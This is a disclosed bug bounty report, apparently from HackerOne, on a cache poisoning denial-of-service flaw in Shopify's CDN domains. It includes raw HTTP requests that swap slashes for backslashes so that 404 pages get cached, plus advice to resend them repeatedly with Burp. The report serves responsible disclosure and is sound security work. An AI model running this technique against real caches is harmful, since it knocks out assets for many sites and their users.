Shopify · Report #1695604
DoS Vulnerability via Cache Poisoning on cdn.shopify.com and shopify-assets.shopifycdn.com
Summary
A web cache poisoning vulnerability was discovered on Shopify's CDN domains where cache servers treated backslashes and forward slashes as equivalent while origin servers returned 404 errors for paths with backslashes. This discrepancy allowed an attacker to send requests with backslashes instead of forward slashes, causing 404 errors to be cached and served for legitimate requests, creating a Denial of Service condition that could impact multiple Shopify services. The vulnerability was fixed by implementing consistent path handling across all affected CDN domains.
How it was found
Summary:
There's a web cache poisoning vulnerability on cdn.shopify.com that allows the attacker to block access to any file hosted on the website. This vulnerability exists as the cache server deals with the backslash as a frontslash. However, the original server returns a 404 error when a backslash exists in the URL So, according to the caching server, these two URLs are the same https://cdn.shopify.com/static/javascripts/vendor/bugsnag.v7.4.0.min.js https://cdn.shopify.com\static\javascripts\vendor\bugsnag.v7.4.0.min.js However, the second one will return 404 from the original server
So, when an attacker sends a request with replacing the slashes with backslashes for a certain file, the server will return 404 Not Found error page, and this error will be saved into the cache and any upcoming requests to this file will return 404 Not Found error. This scenario could be exploited to cause DoS on nearly every Shopify website as all the javascript and static files used by Shopify websites are hosted on cdn.shopify.com.
Steps To Reproduce:
- Open any file hosted on cdn.shopify.com (ex: https://cdn.shopify.com/static/javascripts/vendor/bugsnag.v7.4.0.min.js) and intercept the request using Burp Suite. which will look like this:
GET /static/javascripts/vendor/bugsnag.v7.4.0.min.js HTTP/1.1
Host: cdn.shopify.com
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
- In order to make this request return 404 Not Found, we will replace the slashes in the url with backslashes
- Also, before doing any testing, you have to add a cache buster query parameter to the end of the URL to prevent DoS on all users using the website. (i.e. Add ?cachebuster={random-value} to the end of the URL). Now the new request will be:
GET /static\javascripts\vendor\bugsnag.v7.4.0.min.js?cachebuster=123 HTTP/1.1
Host: cdn.shopify.com
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
- Sending this previous request will return 404 and will have the same cache key of https://cdn.shopify.com/static/javascripts/vendor/bugsnag.v7.4.0.min.js?cachebuster=123
{F1913828} 5. In order to cache this response, we need to either send the malformed request multiple times in Burp repeater or use Burp intruder to keep the error page cached. 6. Now, try to open https://cdn.shopify.com/static/javascripts/vendor/bugsnag.v7.4.0.min.js?cachebuster=123 in the browser and a 404 error page will be shown instead of the javascript file.
{F1913827}
- The same vulnerability also works on shopify-assets.shopifycdn.com which is used by other Shopify websites like accounts.shopify.com
Supporting Material:
- Here's a POC video showing how to reproduce the issue: {F1913857}
Impact
- DoS on any file hosted on cdn.shopify.com which could lead to DoS on other services using this cdn like (*.myshopify.com, www.shopify.com, shop.app, shopify.plus, exchangemarketplace.com, linkpop.com, shopifyinbox.com)
- DoS on any file hosted on shopify-assets.shopifycdn.com which could lead to DoS on other services using this cdn like accounts.shopify.com